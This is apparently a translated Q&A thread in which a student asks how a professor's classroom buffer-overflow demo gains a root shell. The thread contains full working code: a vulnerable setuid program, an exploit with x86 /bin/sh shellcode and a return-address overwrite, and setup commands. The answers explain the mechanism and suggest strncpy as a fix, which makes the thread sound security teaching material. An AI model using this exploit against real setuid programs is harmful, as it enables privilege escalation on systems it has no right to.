我的教授为我们上传了一个缓冲区溢出的例子,但并没有真正解释它。基本上,他利用缓冲区溢出来生成具有root权限的shell。我希望有人能够向他解释他的示例代码中发生了什么。他使用两个C文件,第一个是易受攻击的程序。
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
//stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
第二个代码就是利用。
/* A program that creates a file containing code for launching shell*/
//exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
unsigned int get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr;
int ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]);
ptr = buffer;
a_ptr = (long *) ptr;
memset(buffer, 0x90, buffSize);
ret = get_sp() + offset;
printf("Return Address: 0x%x\n", get_sp());
printf("Address: 0x%x\n", ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for(i = 0; i < 300; i += 4)
{
*(a_ptr++) = ret;
}
for(i = 486; i < codeSize + 486; ++i)
{
buffer[i] = shellcode[i-486];
}
buffer[buffSize-1] = '\0';
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
然后,他从命令行使用这些命令
$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack
我在我们为该类设置的Ubuntu VM上测试了它并且它获得了root访问权限,但我只是不明白如何。他还要求我们考虑如何改进代码,欢迎任何建议!
答案 0 :(得分:4)
我肯定不是漏洞专家,但这就是我理解它的方式(希望有所帮助):
已利用的程序
以下两行存在问题,因为您尝试将具有517字节的缓冲区复制到具有12字节容量的缓冲区中。 strcpy
不够聪明,不能在12个字节后停止写入buffer
,因此它会写入内存中的某个位置,覆盖那里的任何位置。
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
由于您的程序以root权限运行,因此在内存中写入的任何内容都可以使用相同的权限运行。
漏洞利用计划
Exploit包含一个能够生成新shell实例的汇编代码。此代码将写入badfile
,位于前12个字节后的位置。那是因为前12个字节适合受攻击程序中的缓冲区。此文件稍后被读取到此缓冲区,然后复制到(到小)str
缓冲区,这意味着除了前12个字节以外的任何内容,将被放置在(root特权)被利用程序的内存中的某处
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
最后,利用漏洞做了什么,它将注入的代码压入堆栈,并重写返回地址,以便执行注入的代码。正如评论中的@artless噪音所示,这是在这里完成的:
for(i = 0; i < 300; i += 4)
{
*(a_ptr++) = ret;
}
有关堆栈的外观的说明,请参阅this article及其中的有用图表。
当然,一切皆有可能,因为受攻击的程序是以root权限运行的。那是因为你以root身份运行这个命令:
# chmod 4755 stack
第一个数字4
表示将使用拥有此文件的用户的权限调用此文件(stack
二进制文件),而不是调用它的用户(即默认行为)。这称为setuuid。如果没有这个,攻击者将能够获得启动stack
的用户的权限,该用户的权限将低于root。
作为旁注,这正是为什么不建议以root身份运行任何守护进程(即HTTP服务器)的原因。即使在最好,最安全的代码库中,也总能发现缓冲区溢出漏洞。以普通用户身份运行程序会使攻击者真正受到伤害。
答案 1 :(得分:-3)
@kamituel提供了关于漏洞如何运作的一个很好的解释,并提示如何使代码更好
strcpy
智能不足以在12个字节后停止写入buffer
,...
更正此问题的方法是使用strncpy
。此函数的行为与strcpy 类似,但 限制了可以复制的字节数。因此,您可以通过将副本限制为缓冲区中可用的12个字节来防止缓冲区溢出攻击。